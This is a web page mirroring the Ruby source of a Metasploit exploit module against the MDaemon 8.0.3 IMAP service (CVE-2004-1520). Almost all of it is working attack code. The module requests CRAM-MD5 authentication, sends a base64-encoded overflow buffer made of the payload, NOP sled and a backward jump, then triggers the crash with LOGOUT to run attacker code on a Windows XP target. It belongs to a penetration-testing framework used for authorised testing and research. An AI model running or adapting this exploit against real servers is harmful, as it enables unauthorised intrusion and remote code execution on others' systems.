Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/mdaemon_cram_md5.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',13'Description' => %q{14This module exploits a buffer overflow in the CRAM-MD515authentication of the MDaemon IMAP service. This16vulnerability was discovered by Muts.17},18'Author' => [ 'Unknown' ],19'License' => BSD_LICENSE,20'References' =>21[22[ 'CVE', '2004-1520'],23[ 'OSVDB', '11838'],24[ 'BID', '11675'],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 500,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],41],42'DisclosureDate' => '2004-11-12',43'DefaultTarget' => 0))44end4546def exploit47connect4849print_status("Asking for CRAM-MD5 authentication...")50sock.put("a001 authenticate cram-md5\r\n")51res = sock.get_once525354print_status("Received CRAM-MD5 answer: #{res.chomp}")55# Magic no return-address exploitation ninjaness!56buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"57req = Rex::Text.encode_base64(buf) + "\r\n"58sock.put(req)59res = sock.get_once6061print_status("Received authentication reply: #{res.chomp}")62print_status("Sending LOGOUT to close the thread and trigger an exception")63sock.put("a002 LOGOUT\r\n")64res = sock.get_once6566print_status("Received LOGOUT reply: #{res.chomp}")67select(nil,nil,nil,1)6869handler70disconnect71end72end737475